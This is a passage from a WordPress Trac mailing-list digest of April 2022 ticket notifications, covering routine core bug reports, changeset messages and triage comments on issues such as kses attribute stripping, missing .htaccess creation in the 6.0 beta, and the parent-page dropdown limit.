<050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> References: <050.42392201b1b954ae7ab98d4bbdbb19bc@wordpress.org> Message-ID: <065.cdf4a29c284c56721440653410a4791b@wordpress.org> #33885: meta_form performs a potentially expensive query -------------------------------------+------------------------------------- Reporter: jorbin | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.3.1 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration, needs-unit-tests needs-refresh | performance close | -------------------------------------+------------------------------------- Comment (by uzumymw): But what if more than half of the existing WordPress sites will never migrate to Gutenberg? It is actually very possible. -- Ticket URL: <https://core.trac.wordpress.org/ticket/33885#comment:100> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 07:17:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 07:17:39 -0000 Subject: [wp-trac] [WordPress Trac] #55605: kses "selected" for option Message-ID: <052.ed3558876ec06c2343055209bcf2363f@wordpress.org> #55605: kses "selected" for option --------------------------+----------------------------- Reporter: malthert | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: trunk Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- {{{ <select> <option>A</option> <option selected>B</option> <option>C</option> </select> }}} wp_kses_post should not strip the "selected" from option -- Ticket URL: <https://core.trac.wordpress.org/ticket/55605> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 09:49:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 09:49:21 -0000 Subject: [wp-trac] [WordPress Trac] #55606: Add wp_after_tag_search filter Message-ID: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> #55606: Add wp_after_tag_search filter -------------------------+--------------------------------------- Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: trunk Severity: trivial | Keywords: has-screenshots has-patch Focuses: | -------------------------+--------------------------------------- I want to create a plugin which suggests existing tags, if they are similar to existing tags. For this I want to hook into the term results, but it seems there is no way to. This filter should solve that. https://github.com/WordPress/wordpress-develop/pull/2620 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55606> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 09:50:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 09:50:49 -0000 Subject: [wp-trac] [WordPress Trac] #55606: Add wp_after_tag_search filter In-Reply-To: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> References: <054.0f665e7d5147de1897d0e245c7d7d077@wordpress.org> Message-ID: <069.e311426be9ff490b24e00e03e248a091@wordpress.org> #55606: Add wp_after_tag_search filter ---------------------------------------+------------------------------ Reporter: grandeljay | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: trunk Severity: trivial | Resolution: Keywords: has-screenshots has-patch | Focuses: ---------------------------------------+------------------------------ Changes (by grandeljay): * Attachment "164680781-c672910a-969a-44e4-9bf6-898447b74ca1.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55606> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 10:22:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 10:22:03 -0000 Subject: [wp-trac] [WordPress Trac] #55597: WordPress 6.0-beta2-53224 not creating .htaccess In-Reply-To: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> References: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> Message-ID: <068.e643121618b36d10740ec63d4fc17fb2@wordpress.org> #55597: WordPress 6.0-beta2-53224 not creating .htaccess -------------------------------------------------+------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Permalinks | Version: trunk Severity: critical | Resolution: Keywords: needs-testing needs-patch reporter- | Focuses: feedback | -------------------------------------------------+------------------------- Comment (by campation): Hi @peterwilsoncc, I repeated everything this morning with a freshly downloaded WordPress 6.0-beta2-53240 (ticket was opened for 52324): My environment - Linux Server Centos 7.9 with Plesk Onyx latest version (updated yesterday), 256GB RAM, 16 core etc, no web hosting - Nginx proxies requests to Apache - on this server some 30 productive WordPress websites (5.9.3) are running, I'm a plugin developer, too, so I know what I'm doing - subdomain https://beta.domain.com/ with SSL certificate - I tested WordPress 6.0 with PHP 7.4.29, 8.0.18 and 8.1.5 - ***FPM by Nginx*** Test procedure - create empty database - upload WP 5.9 by fpt - open frontend https://beta.domain.com/ and configuration and login as admin - .htaccess created as should be, everything working as usual then the same with WP 6.0 beta - delete all tables from database - delete www root on server - upload fresh unzipped WordPress 6.0-beta2-53240 - open https://beta.domain.com/ and configuration and login as admin - no .htaccess created - this repeated with all 3 above mentioned versions of PHP - same result, the problem does not depend on PHP Strange to me after this test with WP 6.0: - .htaccess is missing - wp-config.php is left "writable by anybody" (rw-rw-rw 0666) - initial permalinks are set to "/index.php/%year%/%monthnum%/%day%/%postname%/" (/index.php is a fault) - setting other permalink structure is saved to db (without "/index.php") - still no .htaccess created - Apache error.log empty - calling hello-dolly -> 404 I then tried the same with PHP 7.4.9 *** Nginx switched OFF *** - same result - no .htaccess - wp-config.php writable by everybody - permalink with "/index.php ...." So the problem does not seem to depend from PHP version nor Apache/Nginx Hope this helps! Chris -- Ticket URL: <https://core.trac.wordpress.org/ticket/55597#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 10:30:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 10:30:01 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.15f16c1e9c78099458defae8414d4320@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53242" 53242]: {{{ #!CommitTicketReference repository="" revision="53242" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/class-wp-customize-manager.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$default` parameter to `$default_value` in `WP_Customize_Manager::post_value()`. * Renames the `$return` parameter to `$callback` in `WP_Customize_Manager::remove_preview_signature()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:42> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 10:42:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 10:42:18 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.63608ad3200a2f5f403b0c06d1c64820@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53243" 53243]: {{{ #!CommitTicketReference repository="" revision="53243" Code Modernization: Rename parameters that use reserved keywords in `wp_die_*_handler` filters. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$function` parameter to `$callback` in `wp_die_*_handler` filters, which aims to make it easier to use a non- reserved parameter name for anyone utilizing these filters. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236], [53239], [53240], [53242]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:43> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 10:54:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 10:54:24 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.265fbc3f9ef9cbf37a2db659f4187d9e@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53244" 53244]: {{{ #!CommitTicketReference repository="" revision="53244" Docs: Correct the expected parameter type for `WP_Customize_Manager::remove_preview_signature()`. Before the method was deprecated, the parameter contained the value passed through for the `wp_die_handler` filter, which expects a callable function. Follow-up to [20926], [32535], [34320], [38810], [53242], [53243]. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:80> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 12:53:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 12:53:20 -0000 Subject: [wp-trac] [WordPress Trac] #54983: The post has already been deleted. In-Reply-To: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> References: <054.b565d5fc304533066dbe4bca29195998@wordpress.org> Message-ID: <069.8fc616a340e843e1d7862fcc0f6800eb@wordpress.org> #54983: The post has already been deleted. -------------------------------------------------+------------------------- Reporter: sumitsingh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 5.4 Severity: normal | Resolution: Keywords: has-screenshots has-patch has- | Focuses: testing-info needs-testing | administration -------------------------------------------------+------------------------- Comment (by Boniu91): @costdev I tried to test the fix for QuickDraft, but it doesn't seem to wrok for me: https://www.loom.com/share/33e5beb26c7346bf955f5bb82974ea0b It's on the {{{ 54983.disable-submit.diff }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54983#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 14:28:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 14:28:30 -0000 Subject: [wp-trac] [WordPress Trac] #55601: PHP Warning in wp-db.php on line 740 In-Reply-To: <053.da29e814d0a2a2a835ef6e6beeb6e7a5@wordpress.org> References: <053.da29e814d0a2a2a835ef6e6beeb6e7a5@wordpress.org> Message-ID: <068.15148193628fb98bfb443e2a26b0aa6b@wordpress.org> #55601: PHP Warning in wp-db.php on line 740 --------------------------+---------------------- Reporter: jimhill10 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Database | Version: Severity: trivial | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Comment (by jimhill10): Thanks so much for your help on this. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55601#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 15:19:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 15:19:25 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.2062d83e5f57b0f6a5c98c4ffac5eb1f@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript testing | ----------------------------------+---------------------------------------- Changes (by ryokuhi): * milestone: Awaiting Review => 6.1 Comment: We reviewed this ticket today during the Accessibility Team's bug-scrub. As the ticket seems to be already in good shape, we decided to milestone it for 6.1. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 15:38:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 15:38:40 -0000 Subject: [wp-trac] [WordPress Trac] #55498: Permalink Settings Page Accessibility Improve In-Reply-To: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> References: <053.06db99f017cbf7d27f8f904f21b948fd@wordpress.org> Message-ID: <068.166684904ec8a31d6f104fbefb3963ed@wordpress.org> #55498: Permalink Settings Page Accessibility Improve --------------------------+------------------------------------- Reporter: rishishah | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.1 Component: Permalinks | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility, ui-copy --------------------------+------------------------------------- Changes (by ryokuhi): * milestone: Awaiting Review => 6.1 Comment: This ticket was reviewed today during the Accessibility Team's weekly bug- scrub. We're milestoning it for 6.1, so that there's already a timeframe for it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55498#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 16:12:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 16:12:44 -0000 Subject: [wp-trac] [WordPress Trac] #55537: Pair wpAjax admin notices with accessible audible messages In-Reply-To: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> References: <051.801e4da1ed093b92ced400777b1aabb1@wordpress.org> Message-ID: <066.689b87aa5813490a5f60c1af3bb69408@wordpress.org> #55537: Pair wpAjax admin notices with accessible audible messages ----------------------------------+---------------------------------------- Reporter: afercia | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.1 Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs- | Focuses: accessibility, javascript refresh | ----------------------------------+---------------------------------------- Changes (by alexstine): * keywords: has-patch needs-testing => has-patch needs-refresh Comment: The patch no longer applies. I will try to fix it if no one gets to it first. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55537#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 16:37:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 16:37:34 -0000 Subject: [wp-trac] [WordPress Trac] #55552: Status of skip-link bug unclear In-Reply-To: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> References: <057.eeb647c066dfad6ae444f8491c365414@wordpress.org> Message-ID: <072.36eb440d6376223aabf2019713311920@wordpress.org> #55552: Status of skip-link bug unclear ---------------------------+---------------------------------------- Reporter: Clarus Dignus | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: accessibility, javascript ---------------------------+---------------------------------------- Changes (by joedolson): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: Hi, @clarus-dignus! The skip-link fix was a temporary measure intended to provide skip link support to browsers which did not properly support them. This was never a bug in WordPress; it was a bug in browsers. This bug was fixed in Chromium in 2017, and has propagated to all major browsers that did not already support it since then. The only remaining browser that still exhibits this issue is Internet Explorer, and no version of Internet Explorer is still supported by Microsoft or by WordPress core. As such, there is no longer any need for this fix unless you have a particular need to provide support for Internet Explorer. WordPress is no longer adding this fix to new themes, and there will be no core support for the code. The `wontfix` decision on older core themes in #54421 is inline with the decision not to remove support for older browser from themes that previously offered that support. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55552#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 18:37:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 18:37:42 -0000 Subject: [wp-trac] [WordPress Trac] #55607: wp-config overrides of WP_HOME and WP_SITEURL are forgotten when installing MultiSite. Message-ID: <050.be8d8c31f2a3b9a18034e3acea954873@wordpress.org> #55607: wp-config overrides of WP_HOME and WP_SITEURL are forgotten when installing MultiSite. --------------------------------+----------------------------- Reporter: billpg | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Networks and Sites | Version: 5.9.3 Severity: normal | Keywords: Focuses: multisite | --------------------------------+----------------------------- The chain of events I encountered when playing with WordPress on my home server. 1. Installed WP successfully. 2. I changed the two URL settings to the wrong value by accident. 3. Tried logging back into the admin panel, but I kept being redirected to the wrong place, the one I had mis-typed. 4. Google'd for a fix that would avoid my having to reinstall from scratch and found you can override these two settings in wp-config. I added the correct values for WP_HOME and WP_SITEURL. 5. Finding access to my website restored, I forgot about the two settings editable on the setting panel. 6. I switched on Multi-Site by setting WP_ALLOW_MULTISITE in wp-config. 7. I followed the Network-Setup panel, opting for subfolders. (The sample code to paste into wp-config had the correct name for DOMAIN_CURRENT_SITE.) 8. I followed the instructions to update both wp-config and .htaccess. 9. I went to the login page and saw the page layout was all messed up. Investigating, I found the CSS etc links were all to the mistyped URL I had typed back in step 2. Note, after restoring the htaccess and wp-config (but keeping my WP_HOME and WP_SITEURL changes) I found I could not update the wrong settings in the DB, as both text boxes were greyed out. WP multi-site appears to have some reference one of the two URL settings in the database. This should defer to the replacement settings in wp- config. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55607> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 22 22:33:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 22 Apr 2022 22:33:40 -0000 Subject: [wp-trac] [WordPress Trac] #55608: bug report Message-ID: <054.e5dee7ebfddb14238cb987ac5abe62ca@wordpress.org> #55608: bug report --------------------------+----------------------------- Reporter: isabella09 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- This debugging email is sent when you are using a development version of WordPress. If you think these failures might be due to a bug in WordPress, could you report it? * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/ I need someone to fix the issues please bug report -- Ticket URL: <https://core.trac.wordpress.org/ticket/55608> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 01:38:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 01:38:18 -0000 Subject: [wp-trac] [WordPress Trac] #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 Message-ID: <048.e21a335b00a1861bb65726397aa8df1f@wordpress.org> #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 --------------------------+----------------------------- Reporter: axdr | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.9.3 Severity: normal | Keywords: needs-patch Focuses: | --------------------------+----------------------------- The problem is in the algorithm for creating a list of pages. **Location**: post editor - wp/wp-admin/post.php?post=1234&action=edit **Conditions**: 1. number of posts (with "''type=page and status=publish''") > 100 2. page with parent=0 and some number of children does not meet "''ORDER BY wp_posts.menu_order ASC LIMIT 0, 100''" \\ Even if all of it Children have been returned by query, none of them will be in the list. **Cause**: {{{ wp-includes/js/dist/editor.js 6004: function PageAttributesParent() 6076: if (!fieldValue) { tree = buildTermsTree(tree); } ---------------------- 5904: function buildTermsTree(flatTerms) 5927: return fillWithChildren(termsByParent['0'] || []); }}} **Solution**: It is necessary to build a page query differently. For example, choose pages that have parent=0 Then pages that have parent among first group of pages. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55609> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 02:15:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 02:15:49 -0000 Subject: [wp-trac] [WordPress Trac] #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 In-Reply-To: <048.e21a335b00a1861bb65726397aa8df1f@wordpress.org> References: <048.e21a335b00a1861bb65726397aa8df1f@wordpress.org> Message-ID: <063.4007bc85b17f23ef9bc5d81ffff6e4d4@wordpress.org> #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 --------------------------+------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.3 Severity: normal | Resolution: duplicate Keywords: needs-patch | Focuses: --------------------------+------------------------ Changes (by SergeyBiryukov): * status: new => closed * resolution: => duplicate * milestone: Awaiting Review => Comment: Hi there, welcome back to WordPress Trac! Thanks for the report, we're already tracking this issue in #52626. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55609#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 09:21:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 09:21:41 -0000 Subject: [wp-trac] [WordPress Trac] #55610: HTTP response should not be 200 when returning error-page Message-ID: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> #55610: HTTP response should not be 200 when returning error-page --------------------------+----------------------------- Reporter: april213 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: HTTP API | Version: trunk Severity: major | Keywords: Focuses: | --------------------------+----------------------------- Current behavior: When WordPress web site was under high concurrency access, the database connections may reach the limitation of the system resource. WordPress was still returning 200 of HTTP response code when database connection error happens. The page with error information as: Error establishing a database connection This either means that the username and password information in your wp- config.php file is incorrect or we can't contact the database server at dbhost. This could mean your host's database server is down. Expected behavior: Returns HTTP code with 500 or other error codes to indicate error happens, when showing error pages. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55610> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 09:24:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 09:24:57 -0000 Subject: [wp-trac] [WordPress Trac] #55610: HTTP response should not be 200 when returning error-page In-Reply-To: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> References: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> Message-ID: <067.94b964187d23fd51bf3722f781082fc2@wordpress.org> #55610: HTTP response should not be 200 when returning error-page --------------------------+------------------------------ Reporter: april213 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: HTTP API | Version: trunk Severity: major | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by april213): * Attachment "wp_db_error.png" added. Error page snapshot -- Ticket URL: <https://core.trac.wordpress.org/ticket/55610> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 09:56:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 09:56:33 -0000 Subject: [wp-trac] [WordPress Trac] #55608: bug report In-Reply-To: <054.e5dee7ebfddb14238cb987ac5abe62ca@wordpress.org> References: <054.e5dee7ebfddb14238cb987ac5abe62ca@wordpress.org> Message-ID: <069.a60767b0cdc57ab7f9605e9ddb311937@wordpress.org> #55608: bug report --------------------------+------------------------------ Reporter: isabella09 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by tobifjellner): @isabella09 welcome to WordPress core trac. This is where we keep track of development and fixes for the WordPress software itself. This is NOT where you get support for problems you've got with your WordPress site. (For that you should post in https://wordpress.org/support instead.) To me it's unclear what suggestion you're making for WordPress (or what error you've in the software itself). Could you please give information on how someone could replicate the error you've found – that would be the first step in making it possible to fix the bug. If you figure out that this shouldn't bea ticket, then you can close it yourself. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55608#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 18:50:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 18:50:26 -0000 Subject: [wp-trac] [WordPress Trac] #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 In-Reply-To: <048.e21a335b00a1861bb65726397aa8df1f@wordpress.org> References: <048.e21a335b00a1861bb65726397aa8df1f@wordpress.org> Message-ID: <063.3841943ec6e31ceff5ba81b10b0490c1@wordpress.org> #55609: Drop-down list of pages (to select the parent page in post editor) incomplete or empty when the number of pages> 100 --------------------------+------------------------ Reporter: axdr | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.3 Severity: normal | Resolution: duplicate Keywords: needs-patch | Focuses: --------------------------+------------------------ Comment (by axdr): Replying to [comment:1 SergeyBiryukov]: > Hi there, welcome back to WordPress Trac! > > Thanks for the report, we're already tracking this issue in #52626. Do not forget to consider that boxing size for the output list is small to display too much records -- Ticket URL: <https://core.trac.wordpress.org/ticket/55609#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 19:50:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 19:50:57 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.b453fd433551794ff4de998b8b2a0960@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by axdr): Too many records in the drop-down list will make it impossible to use it. No need to solve this problem by outputing the headings of all pages. Perhaps someone can solve it using the menu-order field. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 20:02:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 20:02:59 -0000 Subject: [wp-trac] [WordPress Trac] #52626: Block editor doesn't paginate parent page results In-Reply-To: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> References: <052.1df4975e245eba4b15185b74ea3a6d20@wordpress.org> Message-ID: <067.2b53833772341d718b7213e1dd7f970c@wordpress.org> #52626: Block editor doesn't paginate parent page results --------------------------+------------------------------ Reporter: hobzhobz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.6.2 Severity: major | Resolution: Keywords: | Focuses: rest-api --------------------------+------------------------------ Comment (by axdr): Replying to [comment:5 SergeyBiryukov]: > #55609 was marked as a duplicate. This is not a duplicate. This is another side of the problem that needs to be solved from different sides. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52626#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 20:12:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 20:12:04 -0000 Subject: [wp-trac] [WordPress Trac] #55608: bug report In-Reply-To: <054.e5dee7ebfddb14238cb987ac5abe62ca@wordpress.org> References: <054.e5dee7ebfddb14238cb987ac5abe62ca@wordpress.org> Message-ID: <069.4d61dc1071d87f5ec3657158a9833b88@wordpress.org> #55608: bug report -------------------------------+------------------------------ Reporter: isabella09 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Changes (by sabernhardt): * keywords: => reporter-feedback -- Ticket URL: <https://core.trac.wordpress.org/ticket/55608#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 23 20:57:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 23 Apr 2022 20:57:19 -0000 Subject: [wp-trac] [WordPress Trac] #55610: HTTP response should not be 200 when returning error-page In-Reply-To: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> References: <052.ee071a02851dbcd255e559cfb46533b7@wordpress.org> Message-ID: <067.f238dcaf9cad62f4e441130d37eff5ed@wordpress.org> #55610: HTTP response should not be 200 when returning error-page --------------------------+------------------------------ Reporter: april213 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting 